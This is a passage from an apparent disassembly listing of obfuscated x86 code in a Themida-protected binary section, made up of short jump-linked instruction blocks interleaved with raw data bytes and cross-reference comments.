		dd 0FEF3E8E9h, 0E9DAF7FFh, 0FFFF7123h, 8B241C87h, 0F1E92424h
		dd 5EFFFEEDh, 0FF3FFAE9h, 4C181FFh, 83000000h, 0FF5104E9h
		dd 0E9042474h, 0FFFFC26Fh
; ---------------------------------------------------------------------------


loc_56D6F4:				; CODE XREF: Themida_:0055D013j
		inc	edx
		shl	edx, 7
		jmp	loc_568CE8
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4Bh
		dd 293BC13Ah, 34E95BDAh
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D70B:				; CODE XREF: Themida_:00564956j
		or	bl, 23h
		neg	bl
		or	bl, 0F5h
		not	bl
		xor	bl, 0A0h
		sub	bl, 0EDh
		and	al, bl
		pop	ebx
		push	edx
		mov	dl, 3Bh
		push	ecx
		mov	ch, 98h
		add	dl, ch
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_567EB2
; ---------------------------------------------------------------------------
		dd 623B45B9h, 696AE959h, 34FFFFFFh, 0FF51E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D752:				; CODE XREF: Themida_:0055DE31j
		xor	edi, [esp]
		xor	[esp], edi
		not	edi
		xchg	edi, [esp]
		pop	edi
		push	ebp
		mov	ebp, 1A4E42CEh
		or	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_564370
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 4C48324h, 4EDD68h,	243C8900h, 50515F54h, 9F57EDB8h
		dd 58C18946h, 20F768h, 3835E900h, 8B660000h, 0EC81240Ch
		dd 4, 54241489h, 4BD555Ah, 81000000h, 125AA2C2h, 78EA817Ch
		dd 0E9512A4Eh, 22BAh
; ---------------------------------------------------------------------------


loc_56D7BC:				; CODE XREF: Themida_:0056615Cj
		add	eax, edi
		add	eax, 6CAD3214h
		pop	edi
		jmp	loc_55DEC9
; ---------------------------------------------------------------------------


loc_56D7C9:				; CODE XREF: Themida_:0056107Dj
		sub	esp, 4
		mov	[esp], ebx
		pop	edi
		push	dword ptr [esp]
		jmp	loc_569108
; ---------------------------------------------------------------------------
		dd 4BBh, 5BDA0100h, 3304C283h, 1E92414h, 8100001Fh, 5B04DBE1h
		dd 0DBC18176h, 0E91D6626h, 0FFFF86E9h
; ---------------------------------------------------------------------------


loc_56D7FC:				; CODE XREF: Themida_:0055D144j
		xor	ecx, 1480CABh
		push	ebx
		mov	ebx, 0F54ADF1Ch
		add	ecx, ebx
		pop	ebx
		jmp	loc_55DEC2
; ---------------------------------------------------------------------------


loc_56D810:				; CODE XREF: Themida_:0056FECCj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5687CE
; ---------------------------------------------------------------------------
		dw 0D5B8h
		dd 907CD36h, 6AE958C6h,	1000001h, 0EB8158C3h, 43C90B99h
		dd 0C381EB01h, 43C90B99h, 0FFE25BE9h, 0FC330FFh, 8B66C0B6h
		dd 71E92414h
		db 0F8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56D84F:				; CODE XREF: Themida_:00569C88j
		sub	edi, 153F3EE0h
		add	ebp, edi
		pop	edi
		push	edi
		mov	edi, 7FDB56E3h
		and	ebp, edi
		jmp	loc_56C929
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 8104C483h, 4C4h, 2F7C6800h, 4890000h, 0EC4EE924h, 1C89FFFEh
		dd 68B0BB24h, 9D0503DDh, 2952216Eh, 6E9D2DD8h, 525B5221h
		dd 5C20BC68h, 24148B29h, 4C481h, 0D0010000h, 8124148Bh
		dd 4C4h, 1C7D6800h, 0ACE90000h,	8BFFFFBDh, 6851240Ch, 6830h
		dd 83242489h, 59042404h, 3786BF57h, 0E7C14899h,	0E9CF8707h
		dd 0FFFFE976h
; ---------------------------------------------------------------------------


loc_56D8D8:				; CODE XREF: Themida_:0056634Ej
		mov	esi, 4
		add	eax, esi
		jmp	loc_55F94D
; ---------------------------------------------------------------------------
		dd 2F50BEB9h, 0AABD557Bh, 0F768BF1Bh, 4EED81DDh, 0F7235165h
		dd 8AB951DDh, 0E9125E36h, 0FFFF195Bh, 7A78BF57h, 0B9514F39h
		dd 50BB06A3h, 0FFCE68E9h, 0FEF681FFh, 0E9FFFEEFh, 0FFFFD6E9h
; ---------------------------------------------------------------------------


loc_56D920:				; CODE XREF: Themida_:0056F9A0j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_561621
; ---------------------------------------------------------------------------
		dd 6624248Bh, 8124048Bh, 4ECh, 240C8900h, 0FF86B1E9h, 4DA1BEFFh
		dd 0C68111C2h, 80B4168h, 0FF9CB9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D969:				; CODE XREF: Themida_:0056012Dj
		pop	esi
		push	ebx
		sub	dword ptr [esp], 1
		pop	ebx
		dec	ebx
		and	ebx, 3CC51F5Ch
		xor	ebx, 20801D10h
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_57027F
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0FAh
		dd 0E9E5D95Dh, 0FFFFB4DEh, 4B9h, 0F34EE900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56D9AA:				; CODE XREF: Themida_:0056EF15j
		or	ecx, 6476364Dh
		jmp	loc_55E49B
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 45h
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D9BB:				; CODE XREF: Themida_:0056269Bj
		mov	[esp], ecx
		push	ebp
		pop	ecx
		pop	ebp
		jmp	loc_570AF9
; ---------------------------------------------------------------------------
		dw 6856h
		dd 3B082C08h, 0C7B9515Eh, 81604C0Ch, 94730E9h, 1BE5679h
		dd 0E9000000h, 0FFFFEFAEh, 2434FF58h, 8324048Bh, 0C48104C4h
		dd 4, 871CE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D9FA:				; CODE XREF: Themida_:0056723Dj
		pop	edx
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55FB6B
; ---------------------------------------------------------------------------
		dd 1C8BDE21h, 47E56824h, 1C890000h, 57E95424h, 31FFFF38h
		dd 0CB31241Ch, 0E0E9D931h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56DA2B:				; CODE XREF: Themida_:0056F409j
		add	edi, 31CB7C34h
		jmp	loc_56E8B0
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 5417E981h, 1C8B739Eh, 33A2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DA46:				; CODE XREF: Themida_:00564FCFj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	ecx, ebx
		pop	ebx
		add	ebx, ecx
		jmp	loc_5706BD
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 0FE123B62h, 8359CA01h, 148704C2h, 24248B24h,	4C481h
		dd 34FF0000h, 2434FF24h, 0FC4AE95Ah, 0FA21FFFEh, 57243C8Bh
		dd 0C781E789h, 4, 0FFD7CFE9h, 0BCEA81FFh, 6889429Ah, 17E4h
		dd 0B9240C89h, 3A495BDAh, 0E9C1D9F7h, 1C18103h,	81000000h
		dd 0FFFFFFC1h, 4F181FFh, 8116C659h, 0EBDA77F1h,	0FFCA095Dh
		dd 0D0E92434h, 81FFFF46h, 136AC7h, 81C7010Fh, 136AEFh
		dd 2434FF0Fh, 0FF25F7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DAE5:				; CODE XREF: Themida_:00570963j
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		push	ebx
		mov	ebx, 7669511Eh
		mov	ecx, ebx
		jmp	loc_569F20
; ---------------------------------------------------------------------------
		db 5Eh,	57h, 0BFh
		align 10h
		dd 0FF38C3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DB05:				; CODE XREF: Themida_:0056773Bj
		mov	edx, 5E5A3FEEh
		and	edx, 2DA83810h
		jmp	loc_55CC1B
; ---------------------------------------------------------------------------
		db 0B4h, 8Fh, 0B2h
		dd 0DAEA8079h, 0E9ACB151h, 178Bh, 41C04ACh, 2CD80064h
		dd 4EC8364h, 51241C89h,	0C1815954h, 4, 0FF8606E9h, 4B8FFh
		dd 0C1010000h, 0FEFFB6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DB4D:				; CODE XREF: Themida_:0055CF0Ej
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		pop	eax


loc_56DB55:				; CODE XREF: Themida_:005669CAj
					; Themida_:0056DFD3j
		push	dword ptr [edi+24h]
		jmp	loc_564553
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FD8AE953h, 0E289FFFEh, 4C281h, 0EA830000h, 17C0E904h
		dd 2C870000h, 79E95C24h, 0BFFFFF75h, 4,	0FF604FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DB89:				; CODE XREF: Themida_:00561F31j
		push	esi
		mov	esi, 38A778C7h
		neg	esi
		jmp	loc_568146
; ---------------------------------------------------------------------------
		dw 8F58h
		dd 248B2404h, 42D24h, 4330000h,	24043124h, 0E9240433h
		dd 0FFFFF1E8h
; ---------------------------------------------------------------------------


loc_56DBB0:				; CODE XREF: Themida_:00560286j
		xchg	ecx, ebp
		dec	ebp
		jmp	loc_55DDE9
; ---------------------------------------------------------------------------


loc_56DBB8:				; CODE XREF: Themida_:0056821Aj
		push	ebx
		push	5466h
		mov	[esp], esi
		mov	esi, 9250100h
		jmp	loc_566011
; ---------------------------------------------------------------------------


loc_56DBCB:				; CODE XREF: Themida_:005664C4j
		add	edx, 4
		push	3CC0h
		mov	[esp], edi
		mov	edi, 6F826AF9h
		push	esi
		mov	esi, 4F696FAFh
		and	edi, esi
		pop	esi
		or	edi, 5E026E8Eh
		inc	edi
		sub	edi, 5F026EACh
		add	edx, 31470A30h
		add	edx, edi
		sub	edx, 31470A30h
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_55FC76
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 8B241C33h, 0BE0F2424h, 4EC83C8h, 0FFC89AE9h
		dd 7EB3FFh, 0FE5B66D8h,	6A2BE9C0h, 248BFFFFh, 295BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DC3E:				; CODE XREF: Themida_:0056DFDCj
		mov	eax, [esp]
		push	3687h
		mov	[esp], eax
		mov	eax, esp
		push	edi
		mov	edi, 6D7D5DBAh
		add	edi, 327D2E4Eh
		add	edi, 71F50591h
		and	edi, 50E1028h
		push	ebx
		jmp	loc_5656E7
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 52000000h, 50565A54h, 0FF9372E9h, 0CE015AFFh, 3B58EE81h
		dd 67E91093h
		db 0F1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56DC87:				; CODE XREF: Themida_:0056AE14j
		pop	esp
		shr	ecx, 7
		jmp	loc_566D79
; ---------------------------------------------------------------------------


loc_56DC90:				; CODE XREF: Themida_:005660BEj
		mov	eax, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_568016
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 41A87D96h, 0C581DD29h, 41A87D96h, 0FF1305E9h, 0E95DFFh
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DCC3:				; CODE XREF: Themida_:005624B2j
		neg	ecx
		jmp	loc_55CBA2
; ---------------------------------------------------------------------------
		dw 515Ah
		dd 42474FFh, 57240C8Bh,	0C781E789h, 4, 4C781h, 3C870000h
		dd 48F5C24h, 0D076E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DCEE:				; CODE XREF: Themida_:005687C9j
		add	ebp, 1
		jmp	loc_570AC7
; ---------------------------------------------------------------------------


loc_56DCF9:				; CODE XREF: Themida_:005664AFj
		mov	ecx, esp
		push	ebx
		mov	ebx, 554A5052h
		add	ebx, 0B18DFE7Ch
		jmp	loc_566E13
; ---------------------------------------------------------------------------


loc_56DD0C:				; CODE XREF: Themida_:00569E96j
		push	esi
		mov	esi, 7B765F2Dh
		mov	edx, 1557C78h
		xor	edx, esi
		pop	esi
		push	ecx
		jmp	loc_55C88D
; ---------------------------------------------------------------------------


loc_56DD20:				; CODE XREF: Themida_:0055EB2Bj
		pop	esp
		cmp	cl, al
		pushf
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------


loc_56DD29:				; CODE XREF: Themida_:005611A7j
		sub	[esp+4], ebp
		add	dword ptr [esp+4], 0E1D63F5h
		pop	ebp
		jmp	loc_5657DD
; ---------------------------------------------------------------------------


loc_56DD3B:				; CODE XREF: Themida_:005709BEj
		mov	ebp, 56FC3FA7h
		mov	esi, ebp
		pop	ebp
		push	1F1Dh
		mov	[esp], ebp
		push	esi
		push	7E295691h
		pop	esi
		neg	esi
		shl	esi, 4
		dec	esi
		jmp	loc_56DF0B
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 0F4h
		dd 0FFFFAEh, 0E95266CBh, 58h, 2B850h, 0C3010000h, 8124048Bh
		dd 4C4h, 241C8700h, 2404285Ch, 0E742E99Ch, 34FFFFFEh, 0FB93E924h
		dd 0DA01FFFEh, 4965EA81h, 1C8B4743h, 4C48124h, 57000000h
		dd 0C781E789h, 4, 0E904EF83h, 230Bh, 885BB753h,	0DDF65BFDh
		dd 0E908EDC0h, 25E6h, 0EB8051B2h, 80D32859h, 8B6659C3h
		dd 38E92414h, 5A000005h, 5124048Fh, 0FFFBBFE9h,	243C89FFh
		dd 56D668h, 1305E900h, 34330000h, 0FA05E924h, 489FFFEh
		dd 57E46824h, 8F540000h, 4812404h, 424h, 24048B00h, 8904EC83h
		dd 8B54242Ch, 8951242Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 4C5815Ch, 0E9000000h, 0FFFFD217h
; ---------------------------------------------------------------------------


loc_56DE34:				; CODE XREF: Themida_:00563A13j
		add	edi, 4C7F676Ch
		sub	edi, ecx
		sub	edi, 4C7F676Ch
		add	edi, 6A335314h
		push	dword ptr [esp]
		pop	ecx
		push	eax
		jmp	loc_5681D7
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 8DBF781h, 4A2D0838h,	134ED35h, 354A05F8h, 68E934EDh
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DE6B:				; CODE XREF: Themida_:00568BF5j
		push	eax
		mov	eax, 4A32568Bh
		xor	eax, 4A32568Fh
		add	edi, eax
		jmp	loc_5609BD
; ---------------------------------------------------------------------------
		db 83h,	0C2h, 4
		dd 5C241487h, 0E95B5453h, 2063h, 81D1F749h, 28F708E9h
		dd 0E9CB0184h, 0FFFFA250h, 794BEF81h, 1C8B4C7Ah, 6529E924h
		dd 0F180FFFFh, 30E7B255h, 0E2C059CAh, 933DE905h, 0EAC1FFFFh
		dd 3C00E903h, 8B66FFFFh, 89532404h, 57AEE9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DECE:				; CODE XREF: Themida_:00560C9Dj
		and	eax, 17AB5356h
		inc	eax
		shr	eax, 4
		xor	eax, 42FB2F73h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	264Ch
		mov	[esp], edx
		mov	edx, 587070F1h
		dec	edx
		shl	edx, 8
		add	edx, 71332F9Bh
		sub	edx, 0BCC7E919h
		xor	ebx, edx
		jmp	loc_56F1F1
; ---------------------------------------------------------------------------


loc_56DF0B:				; CODE XREF: Themida_:0056DD58j
		push	edi
		mov	edi, 32387949h
		sub	edi, 27B17E4Bh
		push	esi
		mov	esi, 276539D4h
		xor	edi, esi
		jmp	loc_563323
; ---------------------------------------------------------------------------
		dd 102363BEh, 0B4EE8157h, 89446BF0h, 0FD895EF7h, 8BDD315Fh
		dd 0C483241Ch, 6E5C104h, 0FEE63AE9h, 4C481FFh, 0E9000000h
		dd 0A79h, 4BA52h, 0D7010000h, 0EA55E95Ah, 74FFFFFEh, 34FF0424h
		dd 0C4835B24h, 24048F04h, 5124248Bh, 0FF5FB6E9h, 4C481FFh
		dd 81000000h, 9704246Ch, 0E92BA867h, 0FFFF6577h, 148BD631h
		dd 4C48124h, 0E9000000h, 0FFFF7276h, 4C481h, 72E90000h
		dd 1FFFF95h, 62EB81FBh,	5225652Fh, 0BAh, 8BDA0100h, 1C8B5A0Ah
		dd 0E3895324h, 43FE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56DFC2:				; CODE XREF: Themida_:005633AFj
		add	esp, 4
		add	esp, 4
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_56DB55
		push	dword ptr [edi+28h]
		jmp	loc_56DC3E
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 6FF4BF57h, 0F78139FBh, 23FF1156h, 74E9E7D1h,	50FFFF59h
		dd 0E4CEE99Ch, 0E189FFFEh, 31AF6856h, 1C890000h, 7C3ABB24h
		dd 0EC810B0Bh, 4, 0FF3E13E9h, 3EDC1FFh,	6F71ED81h, 0D5F76EBEh
		dd 0D691E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E02A:				; CODE XREF: Themida_:0055CC16j
		sub	edi, 2A5C3845h
		xor	edi, 0EE443BB9h
		add	eax, edi
		pop	edi
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_563E81
; ---------------------------------------------------------------------------


loc_56E04B:				; CODE XREF: Themida_:0056009Cj
		add	ecx, 247459A1h
		push	ecx
		push	ebx
		pop	ecx
		pop	ebx
		xchg	esi, ebx
		not	esi
		jmp	loc_5620A0
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E9BB5304h, 5269D843h, 4785BE56h, 0EE9693Bh
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E073:				; CODE XREF: Themida_:0055D047j
		sub	esi, 5EFA7DBDh
		mov	[edi+20h], esi
		pop	esi


loc_56E07D:				; CODE XREF: Themida_:0055E936j
					; Themida_:0056C080j
		push	dword ptr [esp]
		jmp	loc_5647DC
; ---------------------------------------------------------------------------
		db 0F6h, 0D9h, 80h
		dd 0F180FFC1h, 0BEB252A2h, 22C280h, 0C9FE5AD1h,	0E929E980h
		dd 0FFFF01BEh, 24048B66h, 0FFC4F4E9h, 0FFC681FFh, 53FFFFFFh
		dd 0FF868FE9h, 48B66FFh, 0A206E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E0BE:				; CODE XREF: Themida_:0056CE0Bj
		push	127F78A8h
		pop	ebx
		jmp	loc_56CF24
; ---------------------------------------------------------------------------


loc_56E0C9:				; CODE XREF: Themida_:0056FAA0j
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	eax
		mov	eax, 157B46FDh
		sub	eax, 157B46F9h
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		jmp	loc_5624BF
; ---------------------------------------------------------------------------
		db 81h
		dd 39F803C3h, 0C34E9FAh, 34FFFFFFh, 240C8B24h, 8304C483h
		dd 48904ECh, 0E7895724h, 0FF54DAE9h, 0C9B850FFh, 0D73CC3Dh
		dd 69B02565h, 505E0C1h,	2B1C0704h, 0EC3F2E05h, 9EB95171h
		dd 291374F0h, 0E56EE9C8h, 8B66FFFFh, 56E92404h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56E13F:				; CODE XREF: Themida_:0055FB30j
		sub	esi, edi
		add	esi, 7A1D3E4Eh
		pop	edi
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 1
		and	eax, edi
		jmp	loc_56763B
; ---------------------------------------------------------------------------
		db 68h
		dd 7E43h, 2D5AE9h, 0D84FBE00h, 0F089400Dh, 6824348Bh, 16A7h
		dd 89241C89h, 4C381E3h,	81000000h, 4C3h, 241C8700h, 0A0EAE95Ch
		dd 0EA83FFFFh, 60C7E904h, 6853FFFFh, 73975CB5h,	0FF946FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E1A1:				; CODE XREF: Themida_:0056FBEFj
		neg	edi
		neg	edi
		or	edi, 56302D3Eh
		add	edi, 0A122781h
		add	edx, edi
		pop	edi
		xor	eax, edx
		pop	edx
		xor	ebx, eax
		add	edx, 25D85142h
		push	ebp
		push	19D8h
		mov	[esp], eax
		push	edx
		push	2E004B07h
		pop	edx
		jmp	loc_563634
; ---------------------------------------------------------------------------


loc_56E1D4:				; CODE XREF: Themida_:00563564j
		pop	dword ptr [esp]
		pop	esp
		push	edx
		push	29313A1Ch
		pop	edx
		add	ebx, 53FE1312h
		jmp	loc_55F939
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 0C5E9D2F7h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E1F3:				; CODE XREF: Themida_:00567650j
		pop	dword ptr [edi+24h]
		pop	esi
		push	eax
		push	edx
		jmp	loc_564E3B
; ---------------------------------------------------------------------------


loc_56E1FE:				; CODE XREF: Themida_:0056CDDBj
		mov	[esp], ecx
		mov	ecx, ebx
		mov	ebp, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		and	eax, ebp
		pop	ebp
		jmp	loc_55ECA6
; ---------------------------------------------------------------------------
		dd 731EC681h, 0EE294ACFh, 0FF9312E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E225:				; CODE XREF: Themida_:0056745Ej
		or	eax, eax
		jz	loc_5647B8
		push	dword ptr [edi+28h]
		mov	eax, [esp]
		jmp	loc_56A42F
; ---------------------------------------------------------------------------


loc_56E238:				; CODE XREF: Themida_:00569335j
		pop	eax
		push	eax
		mov	eax, esp
		push	7E06h
		mov	[esp], edi
		mov	edi, 582D385Ah
		not	edi
		add	edi, 11A22415h
		jmp	loc_569741
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 1BE5608h, 31A21E28h,	0C7815EF3h, 4C7A794Bh, 2DE9DF29h
		dd 83FFFFFCh, 1C8704C3h, 0C2685C24h, 89000002h,	0EC832434h
		dd 0FD5BE904h, 45BDFFFFh, 0E96F3A77h, 226h, 0C181C101h
		dd 797F1B12h, 0FF2F8EE9h, 0FAEF81FFh, 13CC449h,	0CA468EFh
		dd 14890000h, 0D492E924h, 0C483FFFFh, 0E9545604h, 0FFFF6BBEh
		dd 4D9CB850h, 19E94F2Eh
		db 0Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E2C7:				; CODE XREF: Themida_:0056CC57j
		push	6DF3h
		mov	[esp], ebx
		push	4
		jmp	loc_568AC5
; ---------------------------------------------------------------------------
		db 56h,	68h, 86h
		dd 5E08E00Fh, 1AC5E9h, 0E8685900h, 89000031h, 4BA2414h
		dd 1000000h, 0EAE6E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E2FA:				; CODE XREF: Themida_:00570FBBj
		add	edx, esi
		pop	esi
		sub	edx, 1D7F313Bh
		jmp	loc_5704AE
; ---------------------------------------------------------------------------
		dd 3FE9E589h, 81FFFFD4h, 2C4h, 0F97BE900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56E31A:				; CODE XREF: Themida_:0056C933j
		pop	esi
		jmp	loc_56F9BD
; ---------------------------------------------------------------------------
		dd 4BB53h, 0CCE90000h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E32B:				; CODE XREF: Themida_:005707EBj
		mov	[esp], esi
		jmp	loc_56E97E
; ---------------------------------------------------------------------------


loc_56E333:				; CODE XREF: Themida_:00565F75j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56C2B3
; ---------------------------------------------------------------------------
		db 1, 0D8h, 2Dh
		dd 3D6D17E4h, 0FF108BE9h, 243C89FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_562C1F
; ---------------------------------------------------------------------------


loc_56E35E:				; CODE XREF: Themida_:0056AFFEj
		sub	ebx, 634E1D8Eh
		mov	ecx, [esp]
		push	38DDh
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_568953
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 6850240Ch, 12Ch, 0FF0037E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E385:				; CODE XREF: Themida_:0055E496j
		pop	ebx
		push	eax
		mov	eax, 14DC42CAh
		sub	eax, 379C561Dh
		xor	eax, 0DD3FECA9h
		add	ebx, eax
		jmp	loc_56BD8F
; ---------------------------------------------------------------------------
		db 31h,	0D7h, 0F7h
		dd 0B23DE9D2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E3A6:				; CODE XREF: Themida_:00562429j
		mov	edi, 500A12A0h
		push	esi
		mov	esi, 4EDD1580h
		jmp	loc_564815
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4EC8324h, 54242C89h,	4C5815Dh, 0E9000000h, 0FFFEE5FAh
		dd 4C48358h, 0E9240C33h, 2455h,	0E388CC88h, 0FF3256E9h
		dd 0A4CE81FFh, 8135B52Dh, 0E0813E6h, 0FB3EE917h, 1489FFFEh
		dd 68D1B624h, 7479h, 0FFA075E9h, 0B4FBAFFh, 0C2814D83h
		dd 189C48EDh, 5AE8C281h, 0E28135FDh, 20007549h,	0DB04C281h
		dd 0D301FFFFh, 4C3815Ah, 87000000h, 685C241Ch, 2946h, 68240489h
		dd 5780h, 58243C89h, 1FE268h, 0F20E900h, 0AD2DFFFFh, 0E92E8D54h
		dd 0FFFEE38Ah
; ---------------------------------------------------------------------------


loc_56E450:				; CODE XREF: Themida_:0056F2E3j
		pop	ebx
		jmp	loc_567B57
; ---------------------------------------------------------------------------


loc_56E456:				; CODE XREF: Themida_:00562882j
		push	ebx
		push	esi
		push	0EDE3F01h
		pop	esi
		shr	esi, 6
		inc	esi
		push	edx
		push	50EEh
		mov	[esp], edi
		jmp	loc_560CF2
; ---------------------------------------------------------------------------


loc_56E470:				; CODE XREF: Themida_:00565BBAj
		neg	ebp
		jmp	loc_56C004
; ---------------------------------------------------------------------------
aASz		db '─е╡ИZ*',0
		db 0
; ---------------------------------------------------------------------------


loc_56E47F:				; CODE XREF: Themida_:0055D1F7j
		push	6A7E7D67h
		pop	edi
		and	edi, 15C9163Eh
		shl	edi, 6
		jmp	loc_565063
; ---------------------------------------------------------------------------
		db 0BAh
		dd 7852D71h, 5BFFC281h,	0FA294572h, 7BC3E956h, 895CFFFFh
		dd 42BE2434h, 1096C77h,	2BFDE9F7h, 0D5F70000h, 0FF95C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E4BD:				; CODE XREF: Themida_:0056E7ACj
		sub	esp, 4
		jmp	loc_55CD16
; ---------------------------------------------------------------------------
		dd 2BB53h, 0C2810000h, 47434965h, 0FFF8B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E4D9:				; CODE XREF: Themida_:0056E806j
		dec	edx
		and	edx, 357C5837h
		inc	edx
		push	302Bh
		mov	[esp], ebx
		mov	ebx, 31701838h
		add	edx, 491C4E58h
		sub	edx, ebx
		sub	edx, 491C4E58h
		jmp	loc_56597F
; ---------------------------------------------------------------------------
		db 0B5h, 0EAh, 0
		dd 535159EBh, 0FFCFBBE9h, 6C17BEFFh, 0D6F74462h, 8102E6C1h
		dd 0C7325CF6h, 5EF231A1h, 0E8BAC281h, 0D189C49Fh, 8BC8295Ah
		dd 0C481240Ch, 4, 267AE952h, 0EC83FFFFh, 0A48BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E542:				; CODE XREF: Themida_:0056D025j
		mov	ecx, edi
		mov	ebp, ecx
		pop	ecx
		pop	edi
		sub	ebp, 0F8A461Bh
		sub	ebp, 0F57E120Ch
		push	ebp
		xor	dword ptr [esp], 2DC50885h
		jmp	loc_56A48B
; ---------------------------------------------------------------------------


loc_56E561:				; CODE XREF: Themida_:00563A20j
		sub	ebp, 5AB10F48h
		pop	ecx
		add	ebp, 4
		push	ebp
		jmp	loc_569EC3
; ---------------------------------------------------------------------------
		dd 0C681E6D1h, 17B271A0h, 0FF4DD8E9h, 0FB0159FFh, 2287EB81h
		dd 70E95347h, 5DFFFF7Bh, 4C581h, 0B0E90000h, 8B000017h
		dd 0C4812404h, 4, 815AD301h, 0CC1A20EBh, 81C32967h, 0CC1A20C3h
		dd 4EC8367h, 68243489h,	4ACC0CFDh, 5EF3295Eh, 0E924048Bh
		dd 0FFFFA2C1h, 42474FFh, 0FF5520E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E5D5:				; CODE XREF: Themida_:0055F519j
		mov	esp, [esp]
		push	4B11h
		mov	[esp], eax
		push	ebx
		mov	bl, 85h
		mov	al, bl
		pop	ebx
		sub	bl, al
		pop	eax
		push	edx
		push	ebx
		mov	bh, 7Bh
		sub	bh, 47h
		push	eax
		mov	ah, bh
		mov	dh, ah
		pop	eax
		pop	ebx
		shr	dh, 4
		sub	dh, 1Ch
		dec	dh
		jmp	loc_567E43
; ---------------------------------------------------------------------------


